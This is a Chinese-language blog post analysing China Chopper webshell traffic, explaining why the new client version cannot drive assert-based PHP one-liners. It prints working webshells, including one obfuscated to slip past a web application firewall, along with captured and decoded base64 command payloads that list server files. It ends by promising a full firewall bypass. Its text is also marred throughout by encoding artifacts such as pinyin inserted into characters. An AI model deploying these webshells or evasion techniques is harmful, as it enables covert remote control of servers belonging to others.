前幾天下了新版的菜刀,今天發(fā)現(xiàn)一個(gè)php一句話連不上,但是舊版的菜刀可以連,而且新版是可以連接eval的php一句話。當(dāng)時(shí)挺好奇,排除了非菜刀造成的可能性,就只能是菜刀更新的問題,所以接下來要做的就是分析新版和老版菜刀,并做對(duì)比。
0×01. 抓包分析
對(duì)新版菜刀抓包
在遠(yuǎn)程的服務(wù)器上放了一個(gè)過某狗的php一句話,文件名為xxoo.php,內(nèi)容如下
<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密碼-7
???>
新版菜刀連接后,出現(xiàn)下圖錯(cuò)誤。
用wireshark抓包,觀察http的request和response
wireshark過濾條件:ip.addr==xx.xx.xx.xx and http,設(shè)置完成后,點(diǎn)擊開始capture?,F(xiàn)在回到菜刀,右鍵菜刀的文件管理,出現(xiàn)上圖的錯(cuò)誤后,即可抓到如下兩個(gè)包,一個(gè)request,一個(gè)response
注意,如果是本地localhost服務(wù)器的話,wireshark不能直接抓包,具體可以百度或者用burp。
菜刀整個(gè)post數(shù)據(jù)一共有三個(gè)變量
變量一:
-7=$xx=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$yy=$_POST;@eval/**/($xx/**/($yy[z0]));
解密后為:@eval/**/(base64_decode/**/($_POST[z0]));還有兩個(gè)%01,因?yàn)闆]有影響就不寫了。
變量二:
z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKGdldF9tYWdpY19xdW90ZXNfZ3BjKCk/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdKTskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuIi8iLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiIKIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs=
通過上面@eval/**/(base64_decode/**/($_POST[z0]));可以知道z0是經(jīng)過base64編碼的,那么解碼后為:
@ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo ("->|");;
$D = base64_decode(get_magic_quotes_gpc() ? stripslashes($_POST["z1"]) : $_POST["z1"]);
$F = @opendir($D);
if ($F == NULL) {
echo ("ERROR:// Path Not Found Or No Permission!");
} else {
$M = NULL;
$L = NULL;
while ($N = @readdir($F)) {
$P = $D . "/" . $N;
$T = @date("Y-m-d H:i:s", @filemtime($P));
@$E = substr(base_convert(@fileperms($P) , 10, 8) , -4);
$R = " " . $T . " " . @filesize($P) . " " . $E . "
";
if (@is_dir($P)) $M.= $N . "/" . $R;
else $L.= $N . $R;
}
echo $M . $L;
@closedir($F);
};
echo ("|<-");
die();
可以看出z0是遍歷文件的作用。
變量三:
z1=QzpcXHdhbXBcXHd3d1xc
通過變量二可以知道z1也是base64編碼的,那么z1解碼后為C:\wamp\www\,可以看出是z1遍歷文件的文件路徑。
對(duì)老版菜刀抓包
同理,
變量一:
-7=@eval(base64_decode($_POST[z0]));
變量二:
z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7
base64_decode后為:
ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo ("->|");;
$D = base64_decode($_POST["z1"]);
$F = @opendir($D);
if ($F == NULL) {
echo ("ERROR:// Path Not Found Or No Permission!");
} else {
$M = NULL;
$L = NULL;
while ($N = @readdir($F)) {
$P = $D . "/" . $N;
$T = @date("Y-m-d H:i:s", @filemtime($P));
@$E = substr(base_convert(@fileperms($P) , 10, 8) , -4);
$R = " " . $T . " " . @filesize($P) . " " . $E . "
";
if (@is_dir($P)) $M.= $N . "/" . $R;
else $L.= $N . $R;
}
echo $M . $L;
@closedir($F);
};
echo ("|<-");
die();
?>
變量三:
z1=QzpcXHdhbXBcXHd3d1xc
0×02. 對(duì)比分析
通過第一步的抓包對(duì)比分析后,可以發(fā)現(xiàn)只有變量一是造成assert不能使用的元兇,因?yàn)槠渌麅蓚€(gè)變量基本是一模一樣。既然eval的一句話可以使用,而assert的一句話不能使用,那應(yīng)該是eval和assert用法不同造成這個(gè)問題。
通過文檔可以發(fā)現(xiàn)assert是判斷一條語句是否為FALSE(注意只是一條),而eval是把當(dāng)前字符串作為代碼執(zhí)行(可以是多條)。
證實(shí)下:
xxoo.php輸出a,說明只執(zhí)行了第一句
array.php內(nèi)容如下(過某狗)
<?php
eval(
$_POST[cmd]
);
?>
輸出ab,說明兩句都執(zhí)行
真想終于浮出水面。由于assert的單個(gè)語句限制和新版菜刀第一個(gè)變量是多條語句導(dǎo)致assert的一句話新版菜刀不能使用。
0×03. 影響
所有assert的一句話都不能用,但可以使用老版本。
0×04. 總結(jié)
1. 通過這樣分析后,某狗的菜刀攔截就完全可以bypass,下篇文章再說吧。
2. 只分析了php的文件管理部分,其他部分可能也會(huì)存在些許的不一樣,沒有遇到,所以沒做分析